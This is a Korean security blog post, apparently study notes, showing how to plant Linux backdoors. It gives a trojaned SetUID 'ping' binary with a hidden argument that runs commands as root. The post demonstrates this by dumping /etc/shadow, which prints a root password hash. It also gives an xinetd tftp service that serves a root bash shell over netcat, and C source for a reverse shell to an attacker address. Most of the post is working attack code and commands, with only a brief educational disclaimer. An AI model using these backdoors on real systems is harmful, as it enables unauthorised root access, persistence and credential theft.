본문 바로가기

INFOSEC/LINUX

Local Backdoor

악의적인 SetUID 프로그램 작성

 

# vi  /tmp/fake_ping.c

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

 

/* 예제 코드는 지식 습득 용이며, 악의적으로 이용할 경우 본인에게 책임이 있습니다.*/

 

int main(int argc, char **argv)

{

 setuid(0);

 if(!strcmp(argv[1],"ktest"))

 {

   system(argv[2]);

   exit(0);

 }

 char input_cmd[100];

 int i;

 

 memset(input_cmd,0,20);

 strcat(input_cmd,".");

 

 for(i=0; i<argc; i++)

 {

   strcat(input_cmd,argv[i]);

   strcat(input_cmd," ");

 }

 system(input_cmd);

}

# vi /tmp/fake_ping.c

# cd /tmp

# which ping 

# gcc -o fake_ping fake_ping.c

# cp /bin/ping /bin/ping.bak

# mv /bin/ping /bin/.ping

# mv /tmp/fake_ping /bin/ping

# ls -l /bin/.ping

-rwsr-xr-x. 1 root root 38200 2015-07-24 02:55 /bin/.ping

# chmod 4755 /bin/ping

# ls -l /bin/ping

-rwsr-xr-x 1 root root 7289 2019-10-01 01:11 /bin/ping

 

ktest 로 로그인

[ktest@localhost ~]$ .ping 8.8.8.8

PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.

64 bytes from 8.8.8.8: icmp_seq=1 ttl=49 time=42.7 ms

 

[ktest@localhost ~]$ ping 8.8.8.8

PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.

 

[ktest@localhost ~]$ cat /etc/shadow

cat: /etc/shadow: 허가 거부

 

[ktest@localhost ~]$ id

uid=500(ktest) gid=500(ktest) groups=500(ktest)

 

[ktest@localhost ~]$ ping ktest "cat /etc/shadow"

root:$6$iapdRq238tHmr6Gm$0mbTSfdngPUfxf6wL7QI/9GsS5.wnEhoxxKeDIt.3gcX9WEDg84fqinktFl3rj9pjCT0orhEcl7OrVuJjMybh/:18117:0:99999:7:::

 

원상복구시킬 땐

# cp /bin/.ping  /bin/ping

 

 


netcat

- TCP/UDP 에서 문자열을 전송하고 전송 받을 수 있는 프로그램

- 지정되는 포트는 없고, 포트를 선언해 주어야 함.

 

# yum -y install nc

역할)

공격자 64 수신하는 nc nc -kl 6000

공격대상 minimal 송신하는 nc nc 공격자주소 6000 

 

원격백도어 1]

nc,tftp를 이용한 백도어

공격대상에서 백도어를 실행 공격자가 공격대상의 주소를 입력하여 접속 

 

공격대상]

# yum -y install tftp*

# yum -y install xinetd

백도어 작성

service tftp

{

 flags  = REUSE

 socket_type = stream

 wait = no

 user = root

 server = /bin/bash

 log_on_failure += USERID

 disable = no

}

  

# service xinetd restart

# netstat -antup | grep 69

 

공격자]

# yum -y install telnet-server

자동으로 xinetd 

# nc 200.200.200.공격대상 69



reverse_shell.c

#include <sys/socket.h>

#include <netinet/in.h>

#include <arpa/inet.h>

#include <netdb.h>

#include <unistd.h>

#include <errno.h>

int main(int argc, char* argv[])

{

        struct sockaddr_in server_addr;

        int server_sock;

        int client_len;

        char buf[80];

        char rbuf[80];

        char *cmd[2] = {"/bin/sh",(char *)0};

        server_sock = socket(AF_INET, SOCK_STREAM, 6);

        server_addr.sin_family =  AF_INET;

        server_addr.sin_addr.s_addr = inet_addr("공격자주소");

        server_addr.sin_port = htons(atoi("9000"));

        client_len =  sizeof(server_addr);

        connect(server_sock,(struct sockaddr *) &server_addr, client_len);

        dup2(server_sock, 0);

        dup2(server_sock, 1);

        dup2(server_sock, 2);

        execve("/bin/sh", cmd, 0);

        return 0;

}

 

 

'INFOSEC > LINUX' 카테고리의 다른 글

Rootkit 감지  (0) 2019.09.25
Backdoor Rootkit  (0) 2019.09.25
Local Backdoor  (0) 2019.09.23
시스템 로그 분석 ( logrotate )  (0) 2019.09.23
PAM (Pluggable Authentication Modules)  (0) 2019.09.19